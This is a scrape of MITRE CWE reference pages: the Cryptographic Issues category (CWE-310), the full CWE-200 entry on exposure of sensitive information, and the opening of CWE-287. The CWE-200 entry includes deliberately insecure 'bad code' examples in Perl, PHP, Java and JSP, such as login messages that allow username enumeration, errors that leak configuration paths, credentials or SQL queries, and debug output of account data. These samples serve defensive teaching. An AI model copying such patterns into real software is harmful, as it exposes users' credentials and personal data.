updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated References, Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationship_Notes, Research_Gaps
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Relationships, Theoretical_Notes
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships

CWE CATEGORY: Cryptographic Issues

Category ID: 310
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).699Software Development
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.261Weak Encoding for Password
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.324Use of a Key Past its Expiration Date
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.325Missing Cryptographic Step
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.328Use of Weak Hash
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.331Insufficient Entropy
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.334Small Space of Random Values
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.335Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.338Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.347Improper Verification of Cryptographic Signature
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.916Use of Password Hash With Insufficient Computational Effort
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1204Generation of Weak Initialization Vector (IV)
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1240Use of a Cryptographic Primitive with a Risky Implementation
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016).

Comments:

Some weakness-oriented alternatives might be found as descendants under Use of a Broken or Risky Cryptographic Algorithm (CWE-327)
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 8, "Cryptographic Foibles" Page 259. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Maintenance_Notes, Relationship_Notes, Relationships
2009-10-29CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated References
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Functional_Areas, References, Related_Attack_Patterns, Relationship_Notes
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Maintenance_Notes, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Maintenance_Notes, References
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Weakness ID: 200
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
+ Extended Description

There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include:

  • private, personal information, such as personal messages, financial data, health records, geographic location, or contact details
  • system status and environment, such as the operating system and installed packages
  • business secrets and intellectual property
  • network status and configuration
  • the product's own code or internal state
  • metadata, e.g. logging of connections or message headers
  • indirect information, such as a discrepancy between two internal operations that can be observed by an outsider

Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include:

  • the product's own users
  • people or organizations whose information is created or used by the product, even if they are not direct product users
  • the product's administrators, including the admins of the system(s) and/or networks on which the product operates
  • the developer

Information exposures can occur in different ways:

  • the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized"
  • a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program.
  • the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place.

It is common practice to describe any loss of confidentiality as an "information exposure," but this can lead to overuse of CWE-200 in CWE mapping. From the CWE perspective, loss of confidentiality is a technical impact that can arise from dozens of different weaknesses, such as insecure file permissions or out-of-bounds read. CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information.

+ Alternate Terms
Information Disclosure:
This term is frequently used in vulnerability advisories to describe a consequence or technical impact, for any vulnerability that has a loss of confidentiality. Often, CWE-200 can be misused to represent the loss of confidentiality, even when the mistake - i.e., the weakness - is not directly related to the mishandling of the information itself, such as an out-of-bounds read that accesses sensitive memory contents; here, the out-of-bounds read is the primary weakness, not the disclosure of the memory. In addition, this phrase is also used frequently in policies and legal documents, but it does not refer to any disclosure of security-relevant information.
Information Leak:
This is a frequently used term, however the "leak" term has multiple uses within security. In some cases it deals with the accidental exposure of information from a different weakness, but in other cases (such as "memory leak"), this deals with improper tracking of resources, which can lead to exhaustion. As a result, CWE is actively avoiding usage of the "leak" term.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.201Insertion of Sensitive Information Into Sent Data
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.203Observable Discrepancy
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.213Exposure of Sensitive Information Due to Incompatible Policies
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.215Insertion of Sensitive Information Into Debugging Code
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.359Exposure of Private Personal Information to an Unauthorized Actor
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.497Exposure of Sensitive System Information to an Unauthorized Control Sphere
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.538Insertion of Sensitive Information into Externally-Accessible File or Directory
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1258Exposure of Sensitive System Information Due to Uncleared Debug Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1273Device Unlock Credential Sharing
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1295Debug Messages Revealing Unnecessary Information
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.498Cloneable Class Containing Sensitive Information
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.499Serializable Class Containing Sensitive Data
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1272Sensitive Information Uncleared Before Debug/Power State Transition
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.203Observable Discrepancy
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.532Insertion of Sensitive Information into Log File
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

(bad code)
Example Language: Perl 
my $username=param('username');
my $password=param('password');

if (IsValidUsername($username) == 1)
{
if (IsValidPassword($username, $password) == 1)
{
print "Login Successful";
}
else
{
print "Login Failed - incorrect password";
}
}
else
{
print "Login Failed - unknown username";
}

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

(result)
 
"Login Failed - incorrect username or password"

Example 2

This code tries to open a database connection, and prints any exceptions that occur.

(bad code)
Example Language: PHP 
try {
openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
echo 'Caught exception: ', $e->getMessage(), '\n';
echo 'Check credentials in config file at: ', $Mysql_config_location, '\n';
}

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.


Example 3

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

(bad code)
Example Language: Java 
public BankAccount getUserBankAccount(String username, String accountNumber) {
BankAccount userAccount = null;
String query = null;
try {
if (isAuthorizedUser(username)) {
query = "SELECT * FROM accounts WHERE owner = "
+ username + " AND accountID = " + accountNumber;
DatabaseManager dbManager = new DatabaseManager();
Connection conn = dbManager.getConnection();
Statement stmt = conn.createStatement();
ResultSet queryResult = stmt.executeQuery(query);
userAccount = (BankAccount)queryResult.getObject(accountNumber);
}
} catch (SQLException ex) {
String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
}
return userAccount;
}

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.


Example 4

This code stores location information about the current user:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...

catch (Exception e) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage("Sorry, this application has experienced an error.");
AlertDialog alert = builder.create();
alert.show();
Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.


Example 5

The following is an actual MySQL error statement:

(result)
Example Language: SQL 
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4

The error clearly exposes the database credentials.


Example 6

This code displays some information on a web page.

(bad code)
Example Language: JSP 
Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.


Example 7

The following program changes its behavior based on a debug flag.

(bad code)
Example Language: JSP 
<% if (Boolean.getBoolean("debugEnabled")) {
%>
User account number: <%= acctNo %>
<%
} %>

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .


Example 8

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

(bad code)
Example Language: XML 
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.


+ Observed Examples
ReferenceDescription
Rust library leaks Oauth client details in application debug logs
Digital Rights Management (DRM) capability for mobile platform leaks pointer information, simplifying ASLR bypass
Enumeration of valid usernames based on inconsistent responses
Account number enumeration via inconsistent responses.
User enumeration via discrepancies in error messages.
Telnet protocol allows servers to obtain sensitive environment information from clients.
Script calls phpinfo(), revealing system configuration to web user
Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs.
Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned.
Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method.
Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.
POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.
Program reveals password in error message if attacker can trigger certain database errors.
Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).
Direct request to library file in web application triggers pathname leak in error message.
Malformed regexp syntax leads to information exposure in error message.
Password exposed in debug information.
FTP client with debug option enabled shows password to the screen.
Collaboration platform does not clear team emails in a response, allowing leak of email addresses
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Developers may insert sensitive information that they do not believe, or they might forget to remove the sensitive information after it has been processed
Resultant
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Separate mistakes or weaknesses could inadvertently make the sensitive information available to an attacker, such as in a detailed error message that can be read by an unauthorized party
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Inter-application Flow Analysis

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer
  • Automated Monitored Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
  • Source code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.717OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

CWE-200 is commonly misused to represent the loss of confidentiality in a vulnerability, but confidentiality loss is a technical impact - not a root cause error. As of CWE 4.9, over 400 CWE entries can lead to a loss of confidentiality. Other options are often available. [REF-1287].

Comments:

If an error or mistake causes information to be disclosed, then use the CWE ID for that error. Consider starting with improper authorization (CWE-285), insecure permissions (CWE-732), improper authentication (CWE-287), etc. Also consider children such as Insertion of Sensitive Information Into Sent Data (CWE-201), Observable Discrepancy (CWE-203), Insertion of Sensitive Information into Externally-Accessible File or Directory (CWE-538), or others.
+ Notes

Maintenance

As a result of mapping analysis in the 2020 Top 25 and more recent versions, this weakness is under review, since it is frequently misused in mapping to cover many problems that lead to loss of confidentiality. See Mapping Notes, Extended Description, and Alternate Terms.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInformation Leak (information disclosure)
OWASP Top Ten 2007A6CWE More SpecificInformation Leakage and Improper Error Handling
WASC13Information Leakage
+ References
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. URL validated: 2023-04-07.
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2022-07-11Nick Johnston
Identified incorrect language tag in demonstrative example.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2009-12-28CWE Content TeamMITRE
updated Alternate_Terms, Description, Name
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-03-29CWE Content TeamMITRE
updated Description, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, References
2014-06-23CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Related_Attack_Patterns, Relationships, Weakness_Ordinalities
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Alternate_Terms, Description, Maintenance_Notes, Related_Attack_Patterns, Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples, Maintenance_Notes, Observed_Examples, References
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Information Leak (Information Disclosure)
2020-02-24Information Exposure

CWE-287: Improper Authentication

Weakness ID: 287
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
